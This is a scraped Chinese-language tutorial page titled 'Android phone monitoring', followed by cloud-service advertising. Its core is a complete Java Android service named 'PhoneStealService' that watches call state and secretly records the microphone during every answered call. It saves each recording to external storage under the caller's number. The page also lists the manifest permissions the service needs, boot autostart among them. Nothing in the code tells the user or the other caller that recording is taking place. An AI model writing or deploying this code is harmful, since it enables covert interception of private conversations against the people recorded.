Android 電話監聽

來源:互聯網
上載者:User

標籤:

public class PhoneStealService extends Service {/** * 聲明電話狀態監聽器對象並執行個體化 */private PhoneStateListener phoneStateListener=new PhoneStateListener(){/** * 聲明存放來電號碼的變數 */private String incomingNumber;/** * 聲明媒體錄製器對象 */private MediaRecorder mediaRecorder;/** * 是否真正錄音 */private boolean isRecording;/** * 聲明錄製音訊檔案對象 */private File destFile;/** * 當裝置(電話)狀態發生變化時自動調用的方法 * @param state 電話狀態 * @param incomingNumber 來電號碼 */public void onCallStateChanged(int state, String incomingNumber) {switch (state) {/* * 電話處於空閑狀態。 * 空閑狀態分兩種情況: * A:一致處於空閑狀態 *  B:使用者剛接完電話掛斷後迴歸到空閑狀態 */case TelephonyManager.CALL_STATE_IDLE:if(mediaRecorder!=null && isRecording){mediaRecorder.stop();mediaRecorder.release();mediaRecorder=null;isRecording=false;}System.out.println("===電話處於空閑狀態==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");break;//來電狀態,此時才有電話號碼case TelephonyManager.CALL_STATE_RINGING:this.incomingNumber=incomingNumber;System.out.println("===電話處於來電狀態==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");break;//接聽狀態case TelephonyManager.CALL_STATE_OFFHOOK://1.執行個體化媒體錄製器對象mediaRecorder=new MediaRecorder();//2.設定音頻來源為麥克風mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//3.設定音訊輸出格式為3gp格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//4.設定音頻編碼mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){String fileName=this.incomingNumber+"_"+System.currentTimeMillis()+".3gp";destFile=new File(Environment.getExternalStorageDirectory(),fileName);//5.設定錄音檔案的輸出路徑mediaRecorder.setOutputFile(destFile.getAbsolutePath());}try {//6.媒體錄製器處於就緒狀態mediaRecorder.prepare();//7.開始錄音mediaRecorder.start();} catch (IllegalStateException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}  System.out.println("===電話處於接聽狀態==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");break;}}};/** * 聲明電話管理器對象 */private TelephonyManager telephonyManager;@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();//通過系統服務得到電話管理器對象telephonyManager=(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);telephonyManager.listen(phoneStateListener,PhoneStateListener.LISTEN_CALL_STATE//指定監聽電話狀態);System.out.println("====PhoneStealService.onCreate()======");}@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onDestroy() {// TODO Auto-generated method stubsuper.onDestroy();if(telephonyManager!=null){//指定不再監聽電話狀態telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE);}}}

 需要註冊許可權

 <!-- 註冊讀取電話狀態的許可權 -->    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <!-- 註冊錄製音訊許可權 -->    <uses-permission android:name="android.permission.RECORD_AUDIO" /><!--     註冊開機自啟動廣播的許可權 -->    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    <!--     註冊在手機的SDCard建立和刪除檔案的許可權 -->    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /><!--     註冊向手機SDCard檔案中寫入內容的許可權 -->    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

  

Android 電話監聽

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.